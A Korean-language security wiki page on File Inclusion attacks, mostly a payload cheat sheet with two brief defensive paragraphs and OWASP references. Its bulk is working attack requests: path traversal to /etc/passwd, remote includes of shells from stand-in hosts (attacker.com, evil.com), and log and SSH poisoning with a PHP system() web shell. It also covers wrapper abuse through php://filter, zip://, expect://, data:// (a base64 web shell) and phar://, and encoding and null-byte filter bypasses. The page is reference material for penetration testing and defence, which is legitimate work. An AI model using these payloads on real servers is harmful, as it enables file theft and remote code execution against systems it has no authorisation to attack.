File Inclusion

LFI & RFI

Introduction

File Inclusion은 동적으로 File을 읽거나 Include(소스코드 내 Built) 하는 기능이 있는 경우 이를 악용하여 시스템 파일을 읽어 탈취하거나 공격자가 만들어둔 소스코드를 Include 하도록 유도하는 공격입니다. 보통 LFI(Local File Inclusion)와 RFI(Remote File Inclusion)로 많이 알려져 있습니다.

LFI

LFI는 Local에 있는 파일을 읽는 공격입니다. 이를 통해 공격자가 시스템 파일을 탈취하거나 미리 업로드된 쉘 코드를 Include 시켜 의도한 코드를 실행하게 할 수 있습니다.

GET /filedownload?path=file:///etc/passwd
HTTP/1.1 200 OK
...
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
....

RFI

RFI는 Remote에 있는 파일을 읽는 공격입니다. 공격자가 자신의 서버에 쉘 코드를 미리 준비시켜 두고 취약 서버가 해당 파일을 소스코드로 Include 시켜 의도한 코드를 실행하게 할 수 있습니다.

Normal

GET /include_once?lib=/config/settings.php

Attack

GET /include_once?lib=https://attacker.com/reverse_shell.php

Offensive techniques

Detect

File을 읽을 수 있는 API 모두 테스팅의 대상이 됩니다. Path Traversal 과 아래 패턴들을 이용하여 파일 읽기를 시도해 볼 수 있습니다.

(LFI) /index.php?page=../../../etc/passwd
(RFI) /index.php?page=http://evil.com/shell.txt

Exploitation

Basic File leak (LFI)

GET /filedownload?path=file:///etc/passwd

Basic RCE (RFI)

GET /include_once?lib=https://attacker.com/reverse_shell.php

RCE via Log file

Attack

$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"

Log files

/index.php?page=/var/log/apache/access.log
/index.php?page=/var/log/apache/error.log
/index.php?page=/var/log/apache2/access.log
/index.php?page=/var/log/apache2/error.log
/index.php?page=/var/log/nginx/access.log
/index.php?page=/var/log/nginx/error.log
/index.php?page=/var/log/vsftpd.log
/index.php?page=/var/log/sshd.log
/index.php?page=/var/log/mail
/index.php?page=/var/log/httpd/error_log
/index.php?page=/usr/local/apache/log/error_log
/index.php?page=/usr/local/apache2/log/error_log

RCE via SSH

ssh <?php system($_GET["cmd"]);?>@10.10.10.10
GET /index.php?page=/var/log/auth.log&cmd=id

Bypass protection

LFI

Double encoding
GET /index.php?page=%252e%252e%252fetc%252fpasswd
GET /index.php?page=%252e%252e%252fetc%252fpasswd%00
UTF-8 encoding
GET /index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
GET /index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
Path/Dot Truncation
GET /index.php?page=../../../etc/passwd............[ADD MORE]
GET /index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
GET /index.php?page=../../../etc/passwd/./././././.[ADD MORE] 
GET /index.php?page=../../../[ADD MORE]../../../../etc/passwd

RFI

Null byte
GET /index.php?page=http://evil.com/shell.txt%00
Double encoding
GET /index.php?page=http:%252f%252fevil.com%252fshell.txt
Protocol Relative URL
GET /index.php?page=//evil.com/shell.txt
GET /index.php?page=\\evil.com/shell.txt

PHP URI

GET /index.php?page=php://filter/read=string.rot13/resource=index.php
GET /index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
GET /index.php?page=php://filter/convert.base64-encode/resource=index.php
GET /index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
GET /index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

ZIP URI

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
GET /index.php?page=zip://shell.jpg%23payload.php

Expect URI

GET /index.php?page=expect://id
GET /index.php?page=expect://ls

Data URI

http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=

# Payload => "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Phar URI (PHP)

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');

// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
GET /index.php?page=phar://attack.phar

Input URI

POST /index.php?page=php://input%00

<?php echo shell_exec('id'); ?>

Defensive techniques

Input Validation

사용자로 부터 값을 입력받아 파일을 처리하는 경우 의도된 파일 범위를 벗어나지 않도록 특수문자 등에 대해 검증해야합니다. 또한 여러 URI를 통해 접근을 시도할 수 있기 떄문에 허용된 URI만 사용할 수 있도록 제한해야합니다.

Sandbox

LFI의 경우 읽는 프로세스와 경로의 권한을 이용해서도 검증할 수 있습니다. 파일 읽기가 가능한 권한과 디렉토리를 나누어 상위 디렉토리를 읽지 못하도록 제한할 수 있습니다.

Tools

References

  • https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion
  • https://www.hahwul.com/2018/03/25/protocol-relative-url-htmljavascriptcss/
  • https://wiki.owasp.org/index.php/Testing_for_Local_File_Inclusion